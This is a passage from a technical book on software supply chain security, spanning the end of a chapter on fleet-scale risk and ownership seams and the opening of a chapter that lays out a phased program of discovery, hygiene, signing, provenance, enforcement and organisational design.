A final scale inversion, and it cuts pleasantly in the defender's favor for once. In a single system, "is this behavior normal?" is a hard question — you have one instance, no baseline, and the anomaly and the baseline are the same data point. Across a fleet of hundreds of services built the same way on the same paved road, **normal is a distribution, and outliers are visible**. If 399 services' builds pull dependencies from the internal proxy and one suddenly reaches out to an external host during build, that one is an anomaly against a strong baseline. If every service's image is built by the shared CI system and one image's provenance says it was built somewhere else, that provenance mismatch is detectable *because* consistency made "normal" well-defined. The homogeneity the paved road imposes — the same thing that concentrates risk — also creates the statistical baseline that makes fleet-wide anomaly detection possible. Scale gives the attacker a bigger target and gives the defender a bigger sample size; which side wins depends on whether you built the centralized metadata (SBOMs, provenance, build telemetry) that turns the sample into a baseline you can query. This is the fleet complement to Chapter 6's assume-breach posture: detection is tractable exactly to the degree that "normal" is defined, and centralization is what defines it.

Conway's Law: the org chart is the supply chain's threat model

Conway's Law states that organizations design systems that mirror their communication structures. The supply-chain corollary is sharper and less comfortable: **the seams between teams are where supply chain attacks live, because a seam is a place where each side assumes the other is handling security.** At the scale where you have distinct app, platform, and security organizations, the supply chain is *divided among owners*, and the divisions do not perfectly tile the chain — they overlap in some places and, more dangerously, leave gaps in others.

Map the ownership as it typically falls out:

```
flowchart TB
    subgraph app["App / product teams"]
        A1["Application source code"]
        A2["Direct dependency choices"]
        A3["Service-level config"]
    end

    subgraph plat["Platform team"]
        B1["CI/CD system"]
        B2["Golden base images"]
        B3["Internal registry"]
        B4["Deploy tooling / mesh"]
    end

    subgraph sec["Security team"]
        C1["Policy / standards"]
        C2["Scanning / detection"]
        C3["Incident response"]
    end

    A1 --> B1
    A2 --> B1
    B2 --> B1
    B1 --> B3
    B3 --> B4
    C1 -.governs.-> B1
    C2 -.observes.-> B3
    C3 -.responds.-> B4

    GAP["GAP: transitive deps – 'app owns direct, nobody owns transitive'"]:::gap
    A2 --> GAP
    classDef gap fill:#fee,stroke:#c33,stroke-width:2px;
```

The characteristic gaps, each of which is a real place attacks have landed:

- **Transitive dependencies.** App teams feel ownership of the dependencies they *chose* (the ones in their manifest) and little ownership of the ones those pulled in. The platform team owns the pipeline, not the app's dependency graph. Security owns policy, not remediation labor. So the transitive closure — where most vulnerabilities and most dependency-confusion and typosquat attacks actually land — is everyone's concern and no one's job.
- **Base image contents.** The platform team owns "the golden base image exists and is patched." App teams own "my app runs on it." Who owns the vulnerabilities *inside* the base image that the app inherits? If the answer is ambiguous, a CVE in a base-image package sits unpatched while each side waits for the other.
- **The last mile of config.** Platform owns the deploy tooling; app teams own their service's manifest values. A privileged security context or an over-broad service account set in an app's Helm values is an app-team artifact deployed through a platform-team path under a security-team policy — three owners, and if none of them is *specifically* accountable for that field, it ships.
- **Infrastructure/agent images.** As noted earlier, the fleet-wide sidecars and DaemonSets are often deployed by the platform team and treated as "infrastructure," landing outside the app- image scanning that security mandates — a gap defined precisely by the org boundary between "app supply chain" and "platform infrastructure."

The remedy is not reorganization; it is **explicit accountability across the boundaries**, most usefully expressed as a RACI over the supply chain's stages so that every stage has a named *Accountable* owner and no stage is left to the seam:

Supply chain stage	App team	Platform team	Security team
Application source integrity	A/R	C	C
Direct dependency selection	A/R	C	C
Transitive dependency risk	R	C	A
Build pipeline integrity	C	A/R	C

Supply chain stage	App team	Platform team	Security team
Base image patching	I	A/R	C
Artifact signing & provenance	I	A/R	C
Deploy-time policy enforcement	I	R	A
Runtime service identity/mTLS	C	A/R	C
SBOM inventory & CVE response	R	R	A
Incident response coordination	C	C	A/R

(**A**=Accountable, **R**=Responsible, **C**=Consulted, **I**=Informed.) The exact assignments are less important than the discipline the table enforces: *every row has exactly one Accountable owner, and the rows most likely to fall in a seam — transitive dependencies, deploy-time policy, SBOM/CVE response — are named explicitly.* The reason to draw this is not bureaucratic tidiness. It is that an attacker's reconnaissance is, in effect, a search for the row where the A column is blank. Conway's Law guarantees your architecture mirrors your org; supply chain security is the practice of making sure the *defensive* responsibilities tile the chain as completely as the architecture does, especially at the boundaries where each team can plausibly believe the problem belongs to someone else.

Distributed-systems lens

This chapter is the lens, so rather than repeat it, use this section to compress the whole thing into the handful of shifts that distinguish supply chain security at fleet scale from the single-artifact model the earlier chapters implicitly assumed:

- **From a line to a graph.** The unit of analysis is no longer one chain but a graph of hundreds of chains joined at shared, high-degree nodes. Risk concentrates on the nodes everything shares — base images, internal libraries, CI templates, injected agents — not evenly across the long tail of leaf dependencies. Hunt for concentration the way you hunt for single points of failure.

- **From "secure it" to "secure the chokepoint."** The platform team is where trust concentrates: a defensive multiplier and a catastrophic single point of compromise in the same place. Treat it as your internal SolarWinds and as Tier-0.
- **From voluntary to paved.** At scale, security-by-policy loses to security-by-default on pure economics. Make the secure path the easy path so teams get provenance, signing, and hardened bases as a byproduct of convenience.
- **From process blast radius to fleet blast radius.** A compromised dependency is initial access, and the service call graph is the lateral-movement path. Your dependency graph and your service mesh are two halves of one attack surface; zero-trust workload identity bounds the second half.
- **From reactive to pre-answered inventory.** "Where do I have X?" must be a query against build-time SBOM metadata, not an incident-time archaeology dig. Move the cost off the critical path.
- **From patch to rebuild-and-redeploy.** Remediation velocity is a first-class metric, and it is the output of your immutable-infrastructure, reproducible-build, and CD investments. Speed is a weapon for whoever wields it faster.
- **From "someone owns it" to a RACI that tiles the chain.** Conway's Law puts the attacks in the seams between app, platform, and security. Name an Accountable owner for every stage.

Key takeaways

- A microservice estate is not one supply chain but **hundreds of overlapping chains** joined at a small number of shared, high-degree components. The estate's supply-chain graph has a few nodes everything depends on and a long tail that barely matters; risk is piled on the former, not spread evenly across raw dependency counts.
- **Blast radius is the product of fan-out × propagation speed × privilege.** A leaf dependency is (1, slow, app-level); a golden base image is ($\approx$ fleet, hours, container-level); an injected privileged agent is (every node, automatic, host-level). Shared infrastructure components are orders of magnitude higher-risk than the leaf deps that dominate dependency counts.

- Your **internal shared components are popular OSS packages minus the scrutiny**: the `common` library every service imports has log4j-style reach with none of the many-eyes review or external CVE tracking. Centralization bought efficiency at the cost of concentration — usually worth it, but only if you know you made the trade.
- Heterogeneity (npm + Maven + Go + PyPI + Cargo + gems) makes uniform policy hard and makes the **lowest-maturity team the entry point**. An estate's posture is closer to its minimum than its average, because the attacker chooses where to enter.
- The **platform team is the chokepoint** — both the defensive multiplier that secures the build path once for everyone and the internal SolarWinds whose compromise is total within the org. Paved roads beat voluntary security on economics: change the default cost, don't exhort the incentive.
- Cloud-native architecture adds supply-chain surface a monolith lacks: **service-to-service trust as a lateral-movement path** (a dependency compromise is initial access; the mesh is the pivot), **fleet-wide privileged auto-updating components** (sidecars, DaemonSets, admission webhooks, operators), and **IaC/config as code you run** (Terraform modules, Helm charts, GitOps repos).
- **Velocity cuts both ways**. Continuous deployment carries a poisoned artifact to production in hours *and* remediates the fleet in hours. Pair speed with verification gates, progressive rollout, and fast rollback to make it a defender's asset rather than an attacker's.
- The Log4Shell question — "which of my 500 services, across N languages and M versions, are affected and where?" — must be **pre-answered** by fleet-wide build-time SBOM inventory, not reconstructed reactively. Move the cost from incident time to build time.
- **Conway's Law puts the attacks in the seams**. Draw a RACI over the supply chain so every stage has one Accountable owner and the seam-prone stages — transitive dependencies, deploy-time policy, SBOM/CVE response — are named explicitly. An attacker's recon is a search for the row where the Accountable column is blank.

Further reading

- Netflix Technology Blog, "The Paved PaaS to Microservices" and related posts on the paved-road model — the origin of the "paved road" framing for platform-provided golden paths.
- Spotify Engineering, "How We Use Golden Paths to Solve Fragmentation in Our Software Ecosystem" — the golden-path model and its developer-experience-as-adoption-lever economics.
- Melvin Conway, "How Do Committees Invent?" (Datamation, 1968) — the original statement of what is now called Conway's Law.
- CISA / joint advisories on the SolarWinds Orion (SUNBURST) supply chain compromise (2020–2021) — the canonical example of a trusted build/update channel weaponized against a large consumer base; the mental model for the platform team as internal SolarWinds.
- SPIFFE and SPIRE documentation (spiffe.io) — workload identity (SVIDs) as the basis for zero-trust service-to-service authentication that bounds supply-chain lateral movement.
- SLSA v1.0 specification (slsa.dev) — build provenance and integrity levels, the foundation for treating platform build systems as verifiable Tier-0 assets (full treatment in Book 4).
- CycloneDX 1.6 and SPDX 3.0 specifications — SBOM formats for the fleet-wide, build-time component inventory this chapter argues is mandatory at scale (full treatment in Book 3).
- Kubernetes documentation on admission controllers, plus the Kyverno and OPA/Gatekeeper projects — policy-as-code for constraining fleet-wide injection (sidecars, mutating webhooks) and gating the fast deploy path.
- Forward references within this series: Book 2 (per-ecosystem dependency risk and reachability); Book 3 (SBOMs and fleet inventory); Book 4 (reproducible builds, provenance, build-system hardening); Book 5 (signing and Sigstore); Book 6 (cloud-native control plane, service mesh and workload identity in Chapter 5, IaC/

config supply chain in Chapters 7-8); Book 9 (zero-trust architecture).

Chapter 10 — Building a Supply Chain Security Program

What this chapter covers. The previous nine chapters gave you the anatomy of the supply chain (Chapter 1), a taxonomy of how it is attacked (Chapter 2), the case studies that make the attacks concrete (Chapters 3-5), a toolkit for reasoning about trust, threat models, and economics (Chapter 6), the frameworks that let you measure yourself (Chapter 7), the human and ecosystem realities (Chapter 8), and the distributed-systems shape of the whole problem (Chapter 9). This chapter turns that understanding into a *program* — an ordered, opinionated, resourced plan of work that a staff engineer can start executing Monday morning and that survives past the initial enthusiasm to become a permanent capability of the organization. It is also the reading map for the rest of the suite: every phase of work below points at the book that covers its mechanics in depth. This is the capstone of Book 1. After it, the series stops building intuition and starts building systems.

Learning goals — after this chapter you should be able to:

- Run a **current-state assessment**: inventory what you build and consume, discover pipelines and artifact stores, and baseline your maturity honestly against SLSA, S2C2F, and SSDF (Chapter 7) rather than performing checkbox theater.
- Prioritize the work using a **threat-model-driven, marginal-return** lens (Chapter 6) so that effort lands on *your* highest-risk chokepoints first, not on whatever a vendor slide deck ranks first.
- Sequence a concrete **four-phase roadmap** — hygiene, integrity/visibility, verification/enforcement, program maturity — and explain why each control is where it is and what it depends on.
- Apply the **paved-road and warn-then-enforce** patterns so that adoption is automatic and enforcement never triggers a developer revolt.

- Design the **organizational ownership** (RACI, enablers-vs-gatekeepers, security champions) and make buy-vs-build decisions against an accurate map of the open-source tool landscape.
- Choose **metrics that prove value and tie back to the threat model**, and recognize the common failure modes — tool sprawl, blocking before enabling, checkbox compliance, alert fatigue, treating a program as a project — before you walk into them.

A note on posture before we start. A supply chain security program is not a procurement exercise and not a compliance filing. It is an engineering program with the same properties as any other platform investment: it has a fixed cost paid up front, a marginal cost paid per team, a maintenance cost paid forever, and a value that is mostly invisible until the day it is enormous. The chapters that follow will make you fluent in the mechanisms; this chapter is about *judgment* — what to do first, what to defer, what to never do, and how to tell whether it is working.

Starting from reality: you cannot secure what you cannot see

Every failed supply chain security program the author has watched shared one starting mistake: it began with a control instead of a census. Someone read the SLSA spec, decided the org needed Build L3, and started requiring provenance from teams — without knowing how many pipelines existed, what they produced, or where the artifacts went. Six months later the "L3 initiative" covered the four pipelines the security team could find and missed the two hundred it could not, including the one snowflake Jenkins box in a forgotten AWS account that built the payment service. The program measured itself by the controls it deployed and never noticed that the controls sat on the wrong chain.

So the program begins the only place it can: with **discovery**. The goal of the assessment phase is a defensible, mostly-complete map of your supply chain as it actually is — not as the architecture diagram claims, not as the golden path prescribes, but as it runs in production today. Four inventories make up that map.

What you build. Enumerate the source repositories, and for each one the pipelines that build from it and the artifacts those pipelines produce. At scale this is not a spreadsheet you fill in by asking teams; it is a query against systems that already know. Your SCM's API lists every repo. Your

CI system's API lists every pipeline and its recent runs. Your container registry lists every image and its push history. The intersection — repos that push images, pipelines that ran this quarter — is your *live* build surface, and the difference between that and the full repo list tells you how much is dormant, forked, or abandoned (Chapter 8's unmaintained-code problem, inside your own walls).

What you consume. Every ecosystem your builds pull from — npm, Maven/Gradle, Go modules, PyPI, Cargo, RubyGems, and the base images and OS packages underneath them (Chapter 9's heterogeneity). The critical discovery question is not "what do we depend on" — that is a per-build SBOM concern for later — but "*through what path* do dependencies enter?" Do builds reach straight out to `registry.npmjs.org` and Maven Central, or through an internal proxy? The answer decides whether you have an ingestion chokepoint (S2C2F's linchpin practice, Chapter 7) or hundreds of independent front doors.

What pipelines exist and where artifacts live. This is where the archaeology happens. The sanctioned CI system is easy; the shadow build surface is the risk. Search for CI config files across all repos (`.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`, `azure-pipelines.yml`, `.circleci/`) to find pipelines the central team never registered. Enumerate every registry and artifact store — the official one, the three that predate it, the S3 buckets teams use as ad-hoc artifact stores, the GitHub Releases pages. Each store is a place a compromised or unsigned artifact can be served from.

What is already signed and scanned. Before you propose new controls, find the ones already running. Some teams already scan; some already sign; some already emit SBOMs because a tool they adopted does it by default. Discovering existing coverage does two things: it stops you proposing work that is half-done, and it surfaces the *inconsistency* that is itself a finding — if 30% of images are signed by three different mechanisms, you have a standardization problem before you have a coverage problem.

```

flowchart TB
    subgraph sources["Discovery inputs (systems that already know)"]
        SCM["SCM API  
repos, branch protection,  
2FA/SSO status"]
        CI["CI/CD APIs  
pipelines, recent runs,  
stored secrets"]
        REG["Registries / artifact stores  
images, push history,  
existing signatures"]
        PKG["Package proxies / firewalls  
ingestion paths,  
ecosystems in use"]
    end

    subgraph census["Current-state census"]
        BUILD["What we BUILD  
repos → pipelines → artifacts"]
        CONSUME["What we CONSUME  
ecosystems + ingestion paths"]
        STORE["Where artifacts LIVE  
sanctioned + shadow stores"]
        HAVE["What we ALREADY have  
signing / scanning / SBOM coverage"]
    end

    subgraph out["Assessment outputs"]
        MAP["Supply-chain map  
(actual, not aspirational)"]
        BASE["Maturity baseline  
per pipeline / per practice"]
        PRIOR["Threat-ranked priority list"]
    end

    SCM --> BUILD
    CI --> BUILD
    REG --> STORE
    PKG --> CONSUME
    REG --> HAVE
    CI --> HAVE

    BUILD --> MAP
    CONSUME --> MAP
    STORE --> MAP
    HAVE --> MAP
    MAP --> BASE --> PRIOR

```

The output of this phase is not a report; it is a living map, kept current by the same APIs that produced it. The moment the map becomes a stale document, the program is back to securing an imagined system. Wire the discovery queries into a scheduled job so the map refreshes weekly, and you have converted a one-time audit into a standing capability — the first small instance of this chapter's recurring theme: *pay the cost once, up front, so the answer is always cheap.*

Maturity baselining without the theater

With a map in hand, grade it. Chapter 7 gave you the three frameworks that matter: **SLSA v1.0** Build levels (L0-L3) for what you *produce*, **S2C2F** (eight practice areas, four maturity levels) for what you *consume*, and **NIST SSDF** (the PO/PS/PW/RV practice groups) for the organizational process wrapper. Baselining means placing each pipeline on the SLSA ladder, your consumption program on the S2C2F ladder, and your practices against SSDF.

The discipline that separates a real baseline from theater is *honesty about the difference between the letter and the property*. Chapter 7 warned about being "L3 on paper" — satisfying the words of a level while the property it guarantees is absent. A pipeline that emits provenance but signs it with a key the build steps can read is not L3; it is L1 wearing an L3 badge, because the non-forgeability property L3 exists to provide is missing. Grade against the property, not the artifact. The honest baseline is almost always lower and more uneven than the aspirational one, and that unevenness is the actual finding: not "our average is L1.5" but "our payment pipeline is L0 and our marketing site is L3," because the average flatters you by hiding the minimum, and at scale your posture is closer to your minimum than your average (Chapter 9).

A pragmatic baseline is a table, one row per pipeline (or per pipeline *class*, if hundreds of pipelines share a template), with columns for SLSA build level, whether dependencies flow through a controlled feed, whether artifacts are signed, whether an SBOM is produced, and who owns it. It is deliberately coarse. Precision here is false comfort; you want the shape, and the shape is usually "a small paved-road majority at a decent level, a long tail of snowflakes at zero, and the highest-risk system somewhere it should not be."

```

flowchart LR
    subgraph matrix["Maturity baseline – read the MINIMUM, not the average"]
        direction TB
        P1["Paved-road pipelines (majority)"]
        SLSA L2 · feed: yes · signed: yes · SBOM: yes"
        P2["Legacy Jenkins cluster"]
        SLSA L1 · feed: partial · signed: no · SBOM: no"
        P3["Snowflake: payments build"]
        SLSA L0 · feed: no · signed: no · SBOM: no"
    end
    P3 -->|"highest risk × lowest maturity = start here"| FOCUS["Priority focus"]

```

Threat-model-driven prioritization

A baseline tells you where you are weak. It does not tell you where weakness *matters*, and those are different questions. Prioritization is where Chapter 6's threat-modeling and economics come back. You do not secure the chain uniformly; you secure it in order of risk, and risk is the product of likelihood and impact against *your* architecture and *your* threat actors.

Reuse Chapter 9's blast-radius factors — fan-out, propagation speed, privilege — as the impact axis. The golden base image and the shared CI templates have fleet-wide fan-out; a leaf dependency in one service does not. Cross that with the maturity baseline (where are the controls weak?) and the threat model (who is likely to come for us, and by which of the Chapter 2 attack classes?). The intersection — high blast radius, low current maturity, plausible attacker path — is your first quarter's work. The snowflake payment build that is SLSA L0 and pulls dependencies straight from public registries, feeding a service that touches money, is a five-alarm finding. The marketing site that is already L3 needs nothing.

This is marginal-return reasoning, and it is the antidote to boiling the ocean. Chapter 6's economics say the first dollar spent on your weakest high-value chokepoint returns far more than the tenth dollar spent hardening something already strong. The prioritized list, ranked by that marginal return, *is* the roadmap. Everything below is that ranking made concrete.

The phased roadmap

Frame the program as a maturity progression — crawl, walk, run — in four phases. The ordering is not arbitrary and it is not merely difficulty-ascending. Each phase is a prerequisite for the next: you cannot verify provenance (Phase 3) that you do not generate (Phase 2), and generating provenance is pointless if your source and build inputs are not yet trustworthy (Phase 1). The phases also track marginal return: Phase 1 is the cheapest work with the highest return, and each subsequent phase costs more per unit of risk retired. Most organizations should be in Phase 1 or 2. Very few operationally need Phase 3 everywhere, and Phase 4 is a permanent operating mode, not a finish line.

```

flowchart LR
    subgraph P1["Phase 1 – Foundational hygiene"]
        direction TB
        A1["SCM 2FA/SSO"]
        A2["Branch protection + review"]
        A3["Lockfiles + pinned hashes"]
        A4["SCA / dep scanning in CI"]
        A5["Secret scanning"]
        A6["Kill long-lived CI secrets → OIDC"]
        A7["Inventory / discovery"]
    end
    end
    subgraph P2["Phase 2 – Integrity + visibility"]
        direction TB
        B1["SBOM generation + storage"]
        B2["Artifact signing (cosign)"]
        B3["Provenance (SLSA L2)"]
        B4["Internal registry / proxy"]
        B5["Image scanning"]
        B6["Admission policy in NON-PROD (audit)"]
    end
    end
    subgraph P3["Phase 3 – Verification + enforcement"]
        direction TB
        C1["Provenance verification at deploy"]
        C2["Signature/policy enforcement (admission)"]
        C3["Hermetic / reproducible builds (SLSA L3)"]
        C4["VEX-driven vuln triage"]
        C5["Dependency policy enforcement"]
    end
    end
    subgraph P4["Phase 4 – Program maturity"]
        direction TB
        D1["Continuous compliance"]
        D2["Detection / anomaly monitoring"]
        D3["Supply-chain incident runbooks"]
        D4["Vendor / third-party risk mgmt"]
        D5["Metrics + leadership reporting"]
    end
    end
    P1 -->| "trust the inputs" | P2
    P2 -->| "produce the evidence" | P3
    P3 -->| "enforce + verify" | P4
    P4 -->| "feeds back into" | P1

```

Phase 1 — Foundational hygiene

This is the highest-ROI, lowest-cost work in the entire program, and if the org has done nothing, this is where 100% of the first quarter goes. None of it is glamorous. All of it retires enormous risk cheaply, because it closes the doors attackers actually walk through (Chapters 2-5) rather than the exotic ones conference talks obsess over.

SCM hardening: 2FA/SSO and branch protection. The single account compromise remains the most common root cause of source-side supply chain incidents (Chapter 3's account-takeover cases, Chapter 5's xz maintainer angle). Enforce SSO with mandatory multi-factor authentication across the SCM org — phishing-resistant factors (WebAuthn/passkeys) where you can, TOTP at minimum, never SMS. Then require, on every default branch: pull-request review before merge, dismissal of stale approvals, and status checks that must pass. Branch protection is the mechanism that makes "two people saw this change" a *property of the system* rather than a cultural aspiration, and it is the precondition for every provenance claim you will make later — provenance that a single compromised account could have authored is provenance about a compromised process. This is Book 7 (Source, Code, and Insider Threat Security) territory in depth.

Lockfiles and pinned hashes. Every ecosystem's builds must resolve to *exact*, hash-pinned dependency versions, committed to the repo: `package-lock.json` / `pnpm-lock.yaml` with integrity hashes, `go.sum`, `Cargo.lock`, `poetry.lock` or hash-pinned `requirements.txt`, Gradle dependency verification. Unpinned builds are non-reproducible and vulnerable to the mutable-tag and dependency-confusion attacks of Chapter 4. Pin your CI actions too — reference GitHub Actions by full commit SHA, not by mutable tag, because a `@v3` tag is a pointer an upstream owner can repoint at malicious code (the mechanism behind several 2024–2025 Actions incidents). Book 2 (Dependency Management) covers the per-ecosystem semantics.

Dependency scanning (SCA) in CI. Run a software-composition-analysis scanner on every build, matching the resolved dependency set against a vulnerability database (OSV, GitHub Advisories). The goal in Phase 1 is *visibility*, not blocking — surface known-vulnerable dependencies so teams can see them. Enforcement comes in Phase 3, after teams have had time to clean up and after you have VEX to suppress the false positives that otherwise train everyone to ignore the scanner. Book 2 covers SCA and reachability.

Secret scanning. Scan repos and their history for committed credentials, and — more importantly — turn on *push protection* so secrets are blocked before they land. A leaked cloud key or registry token is a direct path into the build system. Pair detection with a rotation

runbook, because a detected secret is an *exposed* secret until it is rotated.

Kill long-lived CI secrets. Long-lived, high-privilege credentials sitting in CI variables are among the highest-value targets in the org (Codecov, Chapter 5, was exactly this: exfiltrated CI secrets cascading across the customer base). Replace static cloud and registry credentials with short-lived, workload-identity-federated tokens: GitHub Actions OIDC to cloud IAM, so a job gets a minute-lived token scoped to exactly what it needs and nothing persists to steal. This one change retires an entire attack class. Book 4 (Build and CI/CD Security) covers it thoroughly.

Inventory. The discovery map from the assessment phase is itself a Phase 1 deliverable, because everything downstream needs it and because keeping it current is ongoing work, not a one-time audit.

Phase 1 maps primarily to **Books 2, 4, and 7**. It is unglamorous, and it is where the program earns its credibility: ship it, show the risk it retired, and you have the political capital for the phases that ask more of teams.

Phase 2 — Integrity and visibility

Phase 1 made the *inputs* trustworthy. Phase 2 makes the *outputs* legible and verifiable: you start producing durable evidence about what you built and what is in it. Nothing here blocks anything yet — Phase 2 is about generating signal, not acting on it.

SBOM generation and storage. Every build emits a Software Bill of Materials — CycloneDX 1.6 or SPDX 3.0 — enumerating its full dependency closure, generated at build time when the resolved graph and any shading/vendoring are known (Chapter 9's Log4Shell inventory argument). Generate it with a tool like `syft ( syft <image> -o cyclonedx-json )` or Trivy, and — critically — *store it keyed by artifact digest* in a queryable system, not as a build-log attachment nobody can find later. The SBOM is worthless as a PDF in a bucket; it is valuable as a row in a database you can ask "which artifacts contain log4j-core < 2.16?" in minutes. Book 3 (SBOMs and Software Transparency) is the whole story.

Artifact signing. Sign every artifact so consumers can verify origin and integrity. The modern default is **Sigstore/cosign** with keyless signing: `cosign sign` obtains a short-lived certificate from Fulcio bound to an OIDC identity (your CI workload identity), signs, and records the signature in the Rekor transparency log — no long-lived signing key to

steal or rotate. This composes perfectly with the Phase 1 move to OIDC: the same workload identity that fetches cloud tokens signs the artifact. Book 5 (Signing, Provenance, and Attestation) covers Sigstore's architecture — Fulcio, Rekor, the transparency-log trust model — in depth.

Provenance generation (SLSA Build L2). Have the build platform generate and sign provenance — the signed, machine-readable record of what was built, from what source and inputs, by what process (Chapter 7). At L2 the hosted platform generates and signs it, giving tamper-evidence after the build. The high-leverage move here is Chapter 9's paved-road insight: implement provenance once in the shared CI template (e.g., the SLSA GitHub Actions generator) and every pipeline that uses the template inherits L2 for free. Book 4 covers the generators; Book 5 covers the attestation format (in-toto).

Internal registry / proxy for dependencies. Stand up a pull-through proxy/mirror (Artifactory, Nexus, a cloud artifact registry) as the *single ingestion path* for open-source dependencies — S2C2F's linchpin "Ingest" practice (Chapter 7). In Phase 2 you make it available and start migrating builds to it; you do not yet *mandate* it (that is Enforce, Phase 3). The proxy is what makes scanning-at-ingest, caching against upstream deletion (left-pad), and blocking of dependency-confusion possible, because it is the chokepoint every other consumption control acts at. Book 2 covers ingestion architecture.

Image scanning and admission policy in non-prod (audit mode). Scan images for OS and application CVEs (`grype`, `trivy image`), and deploy an admission controller (Kyverno, OPA/Gatekeeper) into your *non-production* clusters in **audit/warn mode** — it evaluates policy and logs violations but blocks nothing. This is the dress rehearsal for Phase 3 enforcement: you learn what *would* be blocked, teams see their violations without an outage, and you tune the policy against reality before it can break a deploy. Book 6 (Container and Cloud-Native) covers admission control.

Phase 2 maps primarily to **Books 3, 5, and 6**. At the end of it you can answer "what is in this artifact and did we build it?" for most of the fleet — but you are not yet *acting* on those answers.

Phase 3 — Verification and enforcement

Now you turn the signal into gates. Phase 3 is where the program stops being advisory and starts saying *no*, and it is therefore where programs most often trigger a developer revolt if they skipped the warn-mode groundwork. The controls here are direct upgrades of Phase 2's generation into Phase 2's verification.

Provenance verification at deploy. The provenance you generated in Phase 2 becomes a deploy-time *requirement*: an artifact deploys only if it carries valid provenance attesting it was built by an approved builder, from an approved source repo, through the sanctioned pipeline. `cosign verify-attestation` with a policy, or a Kyverno/OPA rule against the attestation, is the mechanism. This is the control that makes "built off the paved road" an anomaly you *reject* rather than merely detect (Chapter 9). Book 4 and Book 5.

Signature and policy enforcement in admission control. Flip the admission controller from audit to **enforce** — but only after warn mode has been quiet for long enough that you trust the policy, and only in an order that starts with non-prod and the highest-maturity teams. Now an unsigned image, or one from an unapproved registry, or one failing policy, is *blocked* from running. Book 6.

Hermetic and reproducible builds (SLSA Build L3). Close the in-build tampering gap: isolate build runs so one cannot influence another, and make the signing material inaccessible to user-defined build steps, yielding non-forgable provenance (Chapter 7's L3 property). Hermetic builds (no network access at build time; all inputs declared and fetched from the proxy) and reproducibility (bit-identical rebuilds) are the mechanisms. This is genuinely expensive and only worth doing for your highest-blast-radius pipelines — the base-image factory, the shared CI templates, the platform's own Tier-0 builds (Chapter 9). Do not demand L3 fleet-wide; demand it where forgeable provenance would be catastrophic. Book 4.

VEX-driven vulnerability triage. By now your scanners produce a firehose of findings, most of them not exploitable in your context (the vulnerable function is never called, the component is not reachable). **VEX** (Vulnerability Exploitability eXchange) lets you assert, in a machine-readable and auditable way, "not affected, because..." so that triaged non-issues stop re-alerting. Without VEX, scanner enforcement produces alert

fatigue and teams route around it; with it, the scanner's blocking findings are the ones that matter. This is the prerequisite that makes *dependency policy enforcement* — blocking builds that introduce a genuinely exploitable, policy-violating dependency — tolerable rather than a revolt trigger. Book 3 (VEX) and Book 2 (dependency policy).

Phase 3 maps primarily to **Books 4, 5, and 6**. The recurring discipline across all of it: **warn before you block, roll out through the paved road, and start with the teams and environments that will make enforcement look good.**

Phase 4 — Program maturity

Phase 4 is not a set of controls to finish; it is the operating mode the program settles into permanently once the controls exist. It is what turns a project into a program.

Continuous compliance. The controls of Phases 1–3 must stay on. Drift happens: a team disables branch protection "temporarily," a new cluster ships without the admission policy, a pipeline predates the standard and never adopted it. Continuous compliance is the standing verification that the controls you deployed are still deployed everywhere they should be — policy-as-code evaluated continuously against the live estate, not an annual audit. Book 8 (Governance, Compliance, and Incident Response).

Detection and anomaly monitoring. With the paved road imposing homogeneity, "normal" is a distribution and outliers are visible (Chapter 9): a build reaching an external host during a hermetic run, provenance claiming an unexpected builder, an artifact appearing in a registry with no corresponding pipeline run. Monitor the supply-chain telemetry the earlier phases generate. Book 8.

Incident response runbooks for supply-chain events. A supply-chain incident is not a normal security incident — the questions are "which of our artifacts are affected, where are they deployed, and how fast can we rebuild and redeploy the fleet?" (Chapter 9's remediation-velocity problem). Write and *rehearse* the runbooks: the compromised-dependency runbook, the compromised-build-system runbook, the leaked-signing-identity runbook. Book 8 has the incident material.

Vendor and third-party risk management. Your supply chain includes software you buy, not just software you build (SolarWinds and 3CX, Chapter 3, were *vendor* compromises). Ask vendors for SBOMs and SLSA

attestations, evaluate their security posture, and know your exposure to their compromise. This is where SSDF self-attestation and emerging regulation (EU CRA) become concrete. Book 8.

Metrics and leadership reporting. Sustained funding requires demonstrated value in the language leadership speaks. The metrics section below is the substance; Phase 4 is where reporting them becomes a standing rhythm. Book 8, Chapter 8 is the deep dive.

Phase 4 maps to **Book 8** almost entirely. The feedback loop matters: Phase 4's monitoring and metrics feed back into the assessment phase, re-ranking priorities as the estate and the threat landscape change. The program never "finishes"; it cycles.

The warn-then-enforce rollout pattern

Everything about enforcement rides on one pattern, applied to every gate you ever ship. Deploy in observe/audit mode first; measure what would be blocked; fix the false positives and the genuine violations; expand coverage in warn mode; and only then flip to enforce — first in non-prod, first for the highest-maturity teams, with a documented break-glass exception path throughout. The organizations that skip straight to blocking do not get better security faster; they get an outage, a rollback, and a security team that has spent its political capital and will not be allowed to enforce anything for a year.

```

stateDiagram-v2
    [*] --> Off: control not deployed
    Off --> Audit: deploy in audit/observe mode
    note right of Audit
        Evaluate policy, LOG violations,
        block NOTHING. Measure the
        would-be-blocked rate.
    end note
    Audit --> Warn: violation rate understood
    note right of Warn
        Surface violations to teams
        (PR comments, dashboards).
        Fix false positives; teams
        remediate real ones.
    end note
    Warn --> EnforceNonProd: warn-mode noise low + stable
    EnforceNonProd --> EnforceProd: non-prod stable, high-maturity
    teams first
    EnforceProd --> [*]: enforced fleet-wide

    EnforceNonProd --> Warn: regression / too noisy
    EnforceProd --> EnforceNonProd: incident / rollback
    EnforceProd --> BreakGlass: documented exception
    BreakGlass --> EnforceProd: exception expires

```

Two properties make this humane. First, **the paved road carries the rollout**: because the control lives in shared tooling, flipping it from warn to enforce is a change the platform team makes centrally, and teams on the paved road are carried across the transition without individual migration work. Second, **the break-glass path is legitimate, time-boxed, and audited** — an enforcement gate with no exception path is a gate teams will disable entirely the first time it blocks a genuine emergency, so give them a supervised door instead of forcing them to break the lock. An exception that is logged, scoped, and expires is a control; a gate with no exception is a future outage.

Organizational design: who owns what

A supply chain security program is an organizational design problem at least as much as a technical one, because the supply chain crosses every team boundary and Conway's Law puts the attacks in the seams (Chapter 9). The technical controls above fail without clear ownership, and clear ownership is the harder half.

Enablers, not gatekeepers

The central function — call it product security or supply-chain security — has two possible postures, and only one of them scales. As a **gatekeeper**, the central team reviews, approves, and blocks: every team must come to security for sign-off, security is the bottleneck, and security is the enemy. This does not scale past a few dozen teams and it makes security an obstacle to route around. As an **enabler**, the central team builds the paved road — the secure CI templates, the signing tooling, the admission policies, the SBOM pipeline — and product teams get security by using it. The central team's product is *the secure default*, and its success metric is *adoption*, not tickets closed.

